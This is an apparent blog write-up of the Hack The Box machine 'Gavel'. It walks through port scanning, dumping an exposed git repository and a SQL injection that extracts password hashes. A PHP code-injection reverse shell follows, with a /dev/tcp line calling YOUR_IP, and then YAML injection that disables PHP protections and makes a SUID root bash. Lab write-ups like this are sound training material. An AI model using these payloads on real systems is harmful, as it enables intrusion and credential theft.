Hacking the matrix, one phish at a time

Gavel – HTB Writeup

gavel HTB hack the box medium writeup

Reconnaissance

First, we identified the open ports on the target machine.

 nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.97 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-20 14:54 +0100
Initiating SYN Stealth Scan at 14:54
Scanning 10.10.11.97 [65535 ports]
Discovered open port 80/tcp on 10.10.11.97
Discovered open port 22/tcp on 10.10.11.97
Completed SYN Stealth Scan at 14:54, 12.56s elapsed (65535 total ports)
Nmap scan report for 10.10.11.97
Host is up, received user-set (0.050s latency).
Scanned at 2025-12-20 14:54:37 CET for 12s
Not shown: 65210 closed tcp ports (reset), 323 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.68 seconds
           Raw packets sent: 67460 (2.968MB) | Rcvd: 65354 (2.614MB)
  • -p-: Scans all ports (from 1 to 65535).
  • --open: Displays only open ports.
  • -sS: Performs a SYN scan (stealth scan) without completing the TCP connection.
  • --min-rate 5000: Sends at least 5000 packets per second to speed up the scan.
  • -vvv: Very high verbosity level (shows more information during the scan).
  • -n: Disables DNS resolution for hostnames.
  • -Pn: Disables host discovery (assumes the host is up).
  • -oG allPorts: Saves the results in a grepable format to the file “allPorts”.

Next, we identified the versions of the running services and executed basic Nmap scripts.

 nmap -p22,80 -sCV 10.10.11.97 -oN target
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-20 14:56 +0100
Nmap scan report for gavel.htb (10.10.11.97)
Host is up (0.041s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Gavel Auction
| http-git: 
|   10.10.11.97:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: .. 
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.68 seconds
  • -p22,80: Scans only ports 22 and 80.
  • -sC: Runs default Nmap scripts to detect common vulnerabilities.
  • -sV: Detects versions of services running on open ports.
  • -oN target: Saves the output in standard (readable) format to the file “target”.

Initial Access

We observed that the web server hosts a .git repository. We used git-dumper to download the repository into a local directory named code.

git-dumper http://gavel.htb/.git/ code
  • http://gavel.htb/.git/: URL of the Git repository to download.
  • code: Local directory where the downloaded content will be saved.

We proceeded to analyze the source code to identify potential vulnerabilities.

In the inventory.php file, we noticed that the col parameter is taken directly from a POST request and inserted without sanitization into the following SQL query:

SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC

This query is used to display items belonging to each user. We can leverage this to construct a SQL Injection (SQLi) payload that retrieves user information from the database.

It is important to note that $col is wrapped in backticks (`). Therefore, the injection must utilize backticks rather than single quotes.

Essentially, the information we wish to view must appear in the column we select. For example, if we inject user_id into the sort field instead of item_name, the application will display the User ID instead of the item name.

In login.php, we identified the users table with the columns id, password, role, username. These are the fields we aim to extract.

The key is to craft a query that groups username and password into a single column, making that the column displayed as $col.

The query we want to execute is:

SELECT `x` FROM (SELECT group_concat(username,0x3a,password) AS `'x` FROM users)y;-- -

Payload Breakdown:

  • SELECT x FROM (...)y: Selects column x from a derived table y.
  • group_concat(username,0x3a,password) AS x: This creates a “fake table” where column x contains the concatenated username and password from the users table.
  • ;-- -: Comments out the rest of the original query to prevent syntax errors.

How does the payload reach the query?

We modify the user_id parameter. By using a “confusion placeholder,” we force the PDO to receive a query resembling SELECT ? ;-- -. Since the database does not know what to substitute for ?, it inserts the first value passed (user_id), effectively executing our malicious content within $userId.

Therefore, our payload configuration is:

  • user_id = x FROM (SELECT group_concat(username,0x3a,password) AS 'x FROM users)y; -- -
  • sort = \?;-- -%00
    • The %00 ensures the database interprets this as the end of the query.

By sending this payload URL-encoded, we achieved the following result:

We retrieved the hash for the user auctioneer. The source code indicates that logging in as this user grants access to the admin_panel.

Since the output format is continuous (user:hash,user2:hash...), we used tr to replace commas with newlines:

 cat hash| tr ',' '\n'
auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS
test:$2y$10$a3rtZ0IkpcVibazciIg7juzAQTC0SdIA5Il593mEpBB76PBYkT.4q
menchen:$2y$10$bouOq4OePlI9xI8n6nr9gOaTVppivyIez3pnbTvLfIhXvk2uUBw4S

We proceeded to crack these hashes using hashcat, following the methodology explained in my guide.

Once the password was cracked, we logged in as auctioneer.

Admin Panel

Inside the admin panel, we have the ability to edit rules and messages for items.

Analyzing the source code of bidding.php, we found XSS vulnerabilities in the message and rule fields. However, the rule field is of particular interest.

In includes/bid_handler.php, rules are handled by the following function: runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);.

This function allows the creation of a new function at runtime, where the last parameter is the actual function code. This effectively grants us Command Execution.

We triggered a reverse shell to our machine using the following payload:

system('bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"'); return true;
  • bash -c: Executes the following argument string in a new bash instance.
  • bash -i: Initiates an interactive bash shell.
  • >&: Redirects both standard output (stdout) and standard error (stderr).
  • /dev/tcp/YOUR_IP/4444: Establishes a TCP connection to the specified IP and port.
  • 0>&1: Redirects standard input (stdin) to use the same connection as the output.

We injected this payload into the rule field of an item. Then, in bidding.php, we placed a bid that intentionally violated the item’s conditions. This triggered the error logic, executing our payload and granting us a reverse shell as www-data.

Lateral Movement

Checking /etc/passwd, we identified system users with shell access:

  • root
  • auctioneer

We attempted to use the auctioneer password recovered during the initial access phase. The credentials were valid, allowing us to switch users and retrieve user.txt.

Privilege Escalation

Running sudo -l revealed no available sudo permissions.

Checking the user ID with id, we saw membership in the groups auctioneer and gavel-seller. We then searched for files belonging to the gavel-seller group:

find / -type f -group gavel-seller 2>/dev/null
  • /: Start search from the root directory.
  • -type f: Search for regular files only (no directories or symlinks).
  • -group gavel-seller: Filter for files belonging to the gavel-seller group.
  • 2>/dev/null: Redirect errors (stderr) to null to hide permission denied messages.

We discovered /usr/local/bin/gavel-util, which is owned by root but associated with the gavel-seller group.

auctioneer@gavel:/opt/gavel$ ls -la /usr/local/bin/gavel-util
-rwxr-xr-x 1 root gavel-seller 17688 Oct  3 19:35 /usr/local/bin/gavel-util

Executing the binary displayed the following usage:

auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice

This utility interacts with the /opt/gavel directory, which contained the following:

auctioneer@gavel:/opt/gavel$ ls
gaveld	sample.yaml  submission
auctioneer@gavel:/opt/gavel$ cat sample.yaml 
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

We hypothesized a YAML Injection vector, exploiting the fact that the rule field appears to be executed as PHP code.

First, we needed to disable existing PHP interpreter protections:

auctioneer@gavel:/opt/gavel/.config$ cat php/
cat: php/: Is a directory
auctioneer@gavel:/opt/gavel/.config$ cd php/
auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini 
engine=On
display_errors=On
open_basedir=
disable_functions=

To achieve this, we executed file_put_contents via the YAML injection:

disable.yaml

name: "Deshabilitar"
description: "Deshabilitar"
image: "pwn.jpg"
price: 10000
rule_msg: "UPS"
rule: file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\ndisplay_errors=On\nopen_basedir=\ndisable_functions=\n"); return false;

Next, we aimed to copy the /bin/bash binary to our directory and set the SUID bit, which would allow us to execute it as root.

The command for this action is: system('cp /bin/bash /opt/gavel/rootbash; chmod u+s /opt/gavel/rootbash'); return false;

  • cp: Command to copy files.
  • /bin/bash: Source path (the bash binary).
  • /opt/gavel/rootbash: Destination path for the copy.
  • chmod: Command to change file permissions.
  • u+s: Sets the SUID (Set User ID) bit, allowing the file to execute with the owner’s permissions.
  • return false: Returns false to trigger an error state but ensures the code executes.

Our final exploit.yaml file looked like this:

name: "Reventar"
description: "Listo?"
image: "pwn.jpg"
price: 10000
rule_msg: "UPS"
rule: system('cp /bin/bash /opt/gavel/rootbash; chmod u+s /opt/gavel/rootbash'); return false;

Finally, we executed the newly created binary in privileged mode:

Bash

auctioneer@gavel:~$ /opt/gavel/rootbash -p
rootbash-5.1# whoami
root

Index